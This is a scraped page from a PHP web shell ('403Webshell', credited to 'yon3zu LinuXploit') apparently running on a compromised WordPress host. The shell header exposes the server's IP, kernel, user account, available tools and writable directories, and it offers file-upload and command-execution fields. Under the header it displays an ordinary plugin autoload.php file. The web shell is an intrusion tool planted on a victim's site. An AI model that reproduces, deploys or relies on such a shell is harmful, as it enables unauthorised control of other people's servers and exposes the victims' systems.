403Webshell
Server IP : 192.64.118.117  /  Your IP : 18.191.152.135
Web Server : LiteSpeed
System : Linux premium56.web-hosting.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64
User : thecgapy ( 1160)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thecgapy/www/wp-content/plugins/e-signature/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thecgapy/www/wp-content/plugins/e-signature/lib/autoload.php
<?php
/**
 * Autoload
 * Auto loads classes from their respective directories
 * @since 0.1.0
 */

spl_autoload_register( 'esig_autoload' );

if(!function_exists('lcfirst')) {
    function lcfirst($str) {
        $str[0] = strtolower($str[0]);
        return $str;
    }
}

function esig_autoload($classname) {

	$dirs = array("models", "views", "controllers", "lib","vendors", "vendors".DS."whiskers");

	foreach($dirs as $dir){
		
		$classname = preg_replace('/^WP_E_/', '', $classname);
		
		
		// If classname ends in 'Controller'
		
		if(strlen($classname) > strlen('Controller')){
			if(substr_compare($classname, 'Controller', -strlen('Controller'), strlen('Controller')) === 0){
				$classname = lcfirst($classname);  // Controllers have lc first first letter filename
			}
		}
          //echo "<center>" . $classname . "</center><br>"; 
		
		$filename = ESIGN_PLUGIN_PATH . DS . $dir . DS . $classname .".php";
	
		if(file_exists($filename)){
			include_once($filename);
                       
			break;
		}
	}
}



Youez - 2016 - github.com/yon3zu
LinuXploit